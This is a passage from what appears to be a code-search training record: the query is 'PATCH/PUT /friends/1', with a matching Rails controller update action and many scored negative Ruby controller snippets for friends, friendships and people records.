"0.6226064",
"0.62090844",
"0.6204869",
"0.6203183",
"0.62006086",
"0.6191161",
"0.61875105",
"0.6184152",
"0.6182963",
"0.6175148",
"0.6175148",
"0.6173666",
"0.6168415",
"0.61647105",
"0.6154726",
"0.61530364",
"0.6148089",
"0.6143578",
"0.6116846",
"0.61164004",
"0.6080995",
"0.607544",
"0.6060177",
"0.60574955",
"0.60574377",
"0.60404134",
"0.60384107",
"0.60226464",
"0.6020239",
"0.6013883",
"0.60082996",
"0.5999325",
"0.59944904",
"0.5989902",
"0.59852725",
"0.59826887",
"0.59769946",
"0.5973701",
"0.5973369",
"0.59687126",
"0.59648633",
"0.5964367",
"0.595207",
"0.5937846",
"0.59329194",
"0.59308857",
"0.5929278",
"0.5929094",
"0.59273404",
"0.59263784",
"0.5915185",
"0.5906602",
"0.59043485",
"0.5903885",
"0.5889415",
"0.58836997",
"0.58788985",
"0.5861908",
"0.58598316",
"0.5851949"
] |
0.6607566
|
14
|
PATCH/PUT /friends/1 PATCH/PUT /friends/1.json
|
def update
respond_to do |format|
if @friend.update(friend_params)
format.html { redirect_to @friend, notice: 'Friend was successfully updated.' }
format.json { render :show, status: :ok, location: @friend }
else
format.html { render :edit }
format.json { render json: @friend.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @friend = Friend.find(params[:id])\n @friend.update_attributes(params[:friend])\n respond_with(@friend)\n end",
"def update\n respond_to do |format|\n if @friends1.update(friends1_params)\n format.html { redirect_to @friends1, notice: \"Friend was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friends1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friends1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n if @friend.update_attributes(params[:friend])\n format.html { redirect_to @friend, notice: 'Friend was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_friends\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'Your friends were updated successfully.'\n format.html { redirect_to(user_friendships_path(@user)) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n \n end",
"def update\n respond_to do |format|\n if @friend.update(friend_params)\n format.html { redirect_to @friend, notice: I18n.t('friend.update') }\n format.json { render :show, status: :ok, location: @friend }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def friendships_update(options = {})\n @req.post(\"/1.1/friendships/update.json\", options)\n end",
"def update\n @friendrequest = Friendrequest.find(params[:id])\n\n respond_to do |format|\n if @friendrequest.update_attributes(params[:friendrequest])\n format.html { redirect_to @friendrequest, notice: 'Friendrequest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendrequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friend_request = FriendRequest.find(params[:id])\n\n respond_to do |format|\n if @friend_request.update_attributes(params[:friend_request])\n format.html { redirect_to @friend_request, notice: 'Friend request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friend_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friend.update(friend_params)\n format.html { redirect_to @friend, notice: \"Friend was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friend }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friend.update(friend_params)\n format.html { redirect_to @friend, notice: \"Friend was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friend }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @friend.update(friend_params)\n render :show, status: :ok, location: @friend\n else\n render json: @friend.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @friend_request.update(update_friend_request_params)\n format.html { redirect_to friends_path, notice: 'Friend request was successfully updated.' }\n format.json { render :show, status: :ok, location: @friend_request }\n else\n format.html { render :edit }\n format.json { render json: @friend_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friends_list.update(friends_list_params)\n format.html { redirect_to @friends_list, notice: \"Friend's info successfully updated.\" }\n format.json { render :show, status: :ok, location: @friends_list }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friends_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n if @friend.update_attributes(params[:friend])\n format.html { redirect_to(@friend, :notice => 'Friend was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friend.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pending_friend_request.update(pending_friend_request_params)\n format.html { redirect_to @pending_friend_request, notice: 'Pending friend request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pending_friend_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @call_your_friend.update(call_your_friend_params)\n format.html { redirect_to @call_your_friend, notice: 'Call your friend was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_your_friend }\n else\n format.html { render :edit }\n format.json { render json: @call_your_friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendsofuser = Friendsofuser.find(params[:id])\n\n respond_to do |format|\n if @friendsofuser.update_attributes(params[:friendsofuser])\n flash[:notice] = 'Friendsofuser was successfully updated.'\n format.html { redirect_to(@friendsofuser) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friendsofuser.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @friendslist = Friendslist.find(params[:id])\n\n respond_to do |format|\n if @friendslist.update_attributes(params[:friendslist])\n format.html { redirect_to @friendslist, notice: 'Friendslist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendslist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friendrequest.update(friendrequest_params)\n format.html { redirect_to @friendrequest, notice: 'Friendrequest was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendrequest }\n else\n format.html { render :edit }\n format.json { render json: @friendrequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friends_list.update(friends_list_params)\n format.html { redirect_to @friends_list, notice: 'Friends list was successfully updated.' }\n format.json { render :show, status: :ok, location: @friends_list }\n else\n format.html { render :edit }\n format.json { render json: @friends_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n if @friend.update_attributes(params[:friend])\n flash[:notice] = 'Friend was successfully updated.'\n format.html { redirect_to(@friend) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friend.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_customer_friend = Admin::Customer::Friend.find_by_id(params[:id])\n success = @admin_customer_friend.on_update(params[:admin_customer_friend])\n respond_to do |format|\n if success\n @storyline.describe \"Updating friend #{@admin_customer_friend.name}\"\n format.json { head :ok }\n format.js\n else\n @storyline.describe \"Updating friend errors: #{@admin_customer_friend.errors.full_messages}\"\n format.json { render json: @admin_customer_friend.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n @friend_request = FriendRequest.find(params[:id])\n respond_to do |format|\n if @friend_request.update_attributes(params[:friend_request])\n format.html { redirect_to(@friend_request, :notice => 'Friend request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friend_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.friend_ids = params[:friend_ids]\n @user.save\n end",
"def update\n @friend_request = FriendRequest.find(params[:id])\n\n respond_to do |format|\n if @friend_request.update_attributes(params[:friend_request])\n flash[:notice] = 'FriendRequest was successfully updated.'\n format.html { redirect_to(@friend_request) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friend_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friendlist.update(friendlist_params)\n format.html { redirect_to @friendlist, notice: 'Friendlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendlist }\n else\n format.html { render :edit }\n format.json { render json: @friendlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end",
"def update\n\t\t@friend = Friend.find(params[:user_id])\n\t\t@invite = Friend.find(params[:friend_id]) \n\n\t\tif @friend.update_attributes(params['friend']) \n\t\t\tredirect_to :back\n\t\tend\t\n\tend",
"def friend(note = nil)\n name = get_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n @client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def friend(note = nil)\n name = get_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n @client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def update\n friend = current_user.friends.find params[:id]\n return render json: { error: \"This doesn't seem to be your friend\" } if friend.nil?\n subscribed = !friend.subscribed\n change = subscribed ? 1 : -1\n friend.update subscribed: subscribed\n notify friend, change, 'subscribe'\n render json: {success: subscribed == friend.subscribed}\n end",
"def update\n respond_to do |format|\n if @group_friend.update(group_friend_params)\n format.html { redirect_to @group_friend, notice: 'Group friend was successfully updated.' }\n format.json { render :show, status: :ok, location: @group_friend }\n else\n format.html { render :edit }\n format.json { render json: @group_friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def friend(note = nil)\n name = read_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'friendship was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friend = Friend.find(params[:id],:conditions=>{:created_by=>current_user.id})\n\n respond_to do |format|\n if @friend.update_attributes(params[:friend])\n format.html { redirect_to(groups_path, :notice => \"Group #{@friend.group.name} was updated.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friend.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invite_friend = InviteFriend.find(params[:id])\n\n respond_to do |format|\n if @invite_friend.update_attributes(params[:invite_friend])\n flash[:notice] = 'InviteFriend was successfully updated.'\n format.html { redirect_to invite_friend_url(@invite_friend) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invite_friend.errors.to_xml }\n end\n end\n end",
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single family based on the id\n family = Family.find_by(id: the_id)\n\n # update it\n if family.update!(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def update\n respond_to do |format|\n if @my_girlfriend.update(my_girlfriend_params)\n format.html { redirect_to @my_girlfriend, notice: 'My girlfriend was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_girlfriend }\n else\n format.html { render :edit }\n format.json { render json: @my_girlfriend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_friendship.update(request_friendship_params)\n format.html { redirect_to @request_friendship, notice: 'La solicitud de amistad se ha actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @request_friendship }\n else\n format.html { render :edit }\n format.json { render json: @request_friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = @user.friendships.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to [@game, @user, @friendship], notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: \"Friend request accepted!\" }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @friendship.update(params.permit(:id, :accepted))\n # now build a friendship in the opposite direction\n @other_friendship = current_person.friendships.build(:granter_id => @friendship.requester_id, :accepted => true)\n @other_friendship.save\n\n format.html { redirect_to people_url, notice: 'You and ' + Person.find(@friendship.requester_id).name + ' are now friends!' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friend_one = Friend.where(user_id: current_user.id, friend_id: @friend.friend_id)\n @friend_one.update(status: true)\n Friend.create!(user_id: @friend.friend_id, friend_id: current_user.id, status: true)\n redirect_to user_path(current_user)\n flash[:notice] =\n \"You and #{@friend.friend.name} are now Friends ! \"\n end",
"def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = Friendship.find(params[:id])\n\n if (params[:ignore])\n @friendship.ignore = params[:ignore] == \"true\"\n end\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { render @friendship }\n format.json { render json: { success: true } }\n else\n format.html { render action: \"index\" }\n format.json { render json: @friendship.errors, \n status: :unprocessable_entity }\n end\n end\n end",
"def set_friends\n @friends = friends.find(params[:id])\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n @friendship = Friendship.find(params[:id])\n (@friendship.is_confirmed? || @friendship.proposer == current_user) ? (friend_notice = \"Friendship was successfully updated\") : (friend_notice = \"You accepted the friend request\")\n @friendship.confirmed = true unless @friendship.proposer == current_user\n @incoming_friend_requests = Friendship.where({\n proposee_id: current_user.id,\n confirmed: nil\n })\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n @grouped_friends = current_user.grouped_friends\n format.html { redirect_to @friendship, notice: friend_notice}\n format.json { head :no_content }\n format.js {}\n else\n @grouped_friends = current_user.grouped_friends\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = Friendship.find_by_user_id_and_friend_id(current_user.id,params[:friend_id])\n if @friendship.nil? then\n @friendship = Friendship.find_by_user_id_and_friend_id(params[:friend_id],current_user.id)\n end\n @friendship.update_attributes(:accepted => true)\n redirect_to :show_friends\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to(@friendship, :notice => 'Friendship was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friendship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n @friend_invite = FriendInvite.find(params[:id])\n\n respond_to do |format|\n if @friend_invite.update_attributes(params[:friend_invite])\n format.html { redirect_to(@friend_invite, :notice => 'FriendInvite was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friend_invite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @privacy_friend = PrivacyFriend.find(params[:id])\n\n respond_to do |format|\n if @privacy_friend.update_attributes(params[:privacy_friend])\n flash[:notice] = 'PrivacyFriend was successfully updated.'\n format.html { redirect_to(@privacy_friend) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @privacy_friend.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n head 404\n # @api_v1_follower = Api::V1::Follower.find(params[:id])\n\n # if @api_v1_follower.update(api_v1_follower_params)\n # head :no_content\n # else\n # render json: @api_v1_follower.errors, status: :unprocessable_entity\n # end\n end",
"def update\n respond_to do |format|\n if @girlfriend.update(girlfriend_params)\n format.html { redirect_to @girlfriend, notice: 'Girlfriend was successfully updated.' }\n format.json { render :show, status: :ok, location: @girlfriend }\n else\n format.html { render :edit }\n format.json { render json: @girlfriend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile.make_friend(@friend)\n respond_to do |format|\n format.js do\n render :partial => 'friends/friend_status', :locals => {:profile => @friend }\n end\n end\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def update\n if params[:status] == \"accepted\"\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id], :status => 'accepted')\n friend = User.find(params[:friend_id])\n @friendship2 = friend.friendships.build(:friend_id => params[:user_id], :status => 'accepted')\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to @friendship, notice: 'Your Connection Request has been sent' }\n format.json { render action: 'show', status: :created, location: @friendship }\n else\n format.html { render action: 'new' }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n if @friendship2.save\n format.html { redirect_to @friendship2, notice: 'You received a friendship invitation' }\n format.json { render action: 'show', status: :created, location: @friendship2 }\n else\n format.html { render action: 'new' }\n format.json { render json: @friendship2.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end",
"def update\n respond_to do |format|\n if @friends_attachment.update(friends_attachment_params)\n format.html { redirect_to @friends_attachment, notice: \"Friends attachment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friends_attachment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friends_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_friends\n if self.friends_last_updated_at.nil? || ((self.friends_last_updated_at + 1.day) < DateTime.now)\n self.friends = profile.friends(:fields => 'gender,name').map{|f| {\"label\" => f.name, \"value\" => f.identifier, \"gender\" => f.gender}}\n self.friends_last_updated_at = DateTime.now\n save(:validate => false)\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n friendship_new = Friendship.new\n friendship_new.user1_id = @friendship.user2_id\n friendship_new.user2_id = @friendship.user1_id\n friendship_new.approved = true\n friendship_new.save!\n @friendship.approved = true\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to back_page, flash: { :success => 'Friendship was approved.' } }\n format.json { render :index, status: :ok, location: @friendship }\n else\n set_index_friendships\n format.html { render :index }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n @relationship = Relationship.find(params[:id])\n\n respond_to do |format|\n if @relationship.update_attributes(params[:relationship])\n format.html { redirect_to @relationship, notice: 'Relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @persona = Persona.find(params[:id])\n \n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.json { head :ok }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @follower = Follower.find(params[:id])\n\n respond_to do |format|\n if @follower.update_attributes(params[:follower])\n format.html { redirect_to @follower, notice: 'Follower was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @follower.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_friends1\n @friends1 = Friends1.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @friendship.update_attributes(:accept => params[:accept])\n format.html { redirect_to @friendship, notice: 'Friendship is successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fred = Fred.find(params[:id])\n\n respond_to do |format|\n if @fred.update_attributes(params[:fred])\n format.html { redirect_to @fred, notice: 'Fred was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fred.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # no spoofing of acceptance\n params[:friendship].delete('accepted_at') if params[:friendship][:accepted_at]\n \n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n flash[:notice] = 'Friendship was successfully updated.'\n format.html { redirect_to user_friendship_path(@friendship.user_id, @friendship) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @person.update_attributes(params[:person])\n respond_with(@person)\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n populate_attributes(@person, params[:person])\n respond_to do |format|\n \n if @person.save && @person.identifiable_entries.each(&:save!)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @people = Person.pluck(:name, :id)\n puts \"*** From update: \" \n\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n errors = {}\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n if params[:person]\n begin\n if @person.json_update_attributes(params[:person])\n render_json :entry => @person.to_hash(@user, @client) and return\n end\n rescue NoMethodError => e\n errors = e.to_s\n end\n end\n\n render_json :status => :bad_request, :messages => @person.errors.full_messages\n @person = nil\n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n @father = Father.find(params[:id])\n\n respond_to do |format|\n if @father.update_attributes(params[:father])\n format.html { redirect_to @father, notice: 'Father was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @father.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @friendship = Friendship.find_by(sender_id: params[:user_id], receiver_id: current_user.id, status: false)\n return unless @friendship\n\n @friendship.status = true\n if @friendship.save\n flash[:success] = \"Request accepted\"\n @friendship_mutual = current_user.friend_sent.build(receiver_id: params[:user_id], status: true)\n @friendship_mutual.save\n else\n flash[:warning] = \"Request failed\"\n end\n\n redirect_back fallback_location: root_url\n end",
"def update\n respond_to do |format|\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.70481896",
"0.6986432",
"0.6935317",
"0.6902273",
"0.6822468",
"0.6814806",
"0.6807529",
"0.67891",
"0.67784184",
"0.67784184",
"0.6747414",
"0.6687124",
"0.6604577",
"0.65962934",
"0.65909934",
"0.656802",
"0.65586656",
"0.65549",
"0.6541707",
"0.6504213",
"0.6491169",
"0.64732873",
"0.64506453",
"0.64432514",
"0.6351302",
"0.6349709",
"0.62832385",
"0.62832385",
"0.62795967",
"0.6274751",
"0.62665784",
"0.62665784",
"0.62508136",
"0.62408686",
"0.62262064",
"0.62241423",
"0.6202919",
"0.61827695",
"0.6158293",
"0.6153",
"0.6147915",
"0.6145706",
"0.6141783",
"0.6138282",
"0.6128519",
"0.61253947",
"0.6093583",
"0.6070804",
"0.60589933",
"0.60589933",
"0.60551226",
"0.6046601",
"0.6036787",
"0.6035408",
"0.6032097",
"0.6029608",
"0.6023912",
